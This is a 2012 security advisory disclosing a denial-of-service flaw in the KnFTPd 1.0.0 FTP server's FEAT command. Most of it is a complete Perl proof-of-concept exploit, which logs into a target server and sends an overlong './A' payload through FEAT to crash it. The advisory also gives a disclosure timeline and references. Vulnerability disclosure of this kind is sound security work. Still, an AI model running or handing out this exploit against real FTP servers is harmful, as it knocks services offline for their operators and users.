Advisory: KnFTPd 1.0.0 'FEAT' DoS vulnerability Advisory ID: SSCHADV2012-011 Author: Stefan Schurtz Affected Software: Successfully tested on KnFTPd 1.0.0 Vendor URL: http://knftp.sourceforge.net/ Vendor Status: informed ========================== Vulnerability Description ========================== The KnFTPd 1.0.0 'FEAT' command is prone to DoS vulnerability ================== PoC-Exploit ================== #!/usr/bin/perl use strict; use Net::FTP; my $user = ""; my $password = ""; ######################## # connect ######################## my $target = $ARGV[0]; my $plength = $ARGV[1]; print "\n"; print "\t#######################################################\n"; print "\t# This PoC-Exploit is only for educational purpose!!! #\n"; print "\t#######################################################\n"; print "\n"; if (!$ARGV[0]||!$ARGV[1]) { print "[+] Usage: $@ \n"; exit 1; } my $ftp=Net::FTP->new($target,Timeout=>12) or die "Cannot connect to $target: $@"; print "[+] Connected to $target\n"; ######################## # login ######################## $ftp->login($user,$password) or die "Cannot login ", $ftp->message; print "[+] Logged in with user $user\n"; ################################################### # Building payload './A' with min. length of 94 ################################################## my @p = ( "","./A" ); my $payload; print "[+] Building payload\n"; for (my $i=1;$i<=$plength;$i++) { $payload .= $p[$i]; push(@p,$p[$i]); } sleep(3); ######################################### # Sending payload ######################################### print "[+] Sending payload [$payload]\n"; $ftp->quot('FEAT ' ."$payload"); ########################################## # disconnect ########################################## print "[+] Done\n"; $ftp->quit; exit 0; #EOF ========= Solution ========= - ==================== Disclosure Timeline ==================== 28-Mar-2012 - vendor informed ======== Credits ======== Vulnerability found and advisory written by Stefan Schurtz. =========== References =========== http://www.darksecurity.de/advisories/2012/SSCHADV2012-011.txt http://osvdb.org/show/osvdb/80666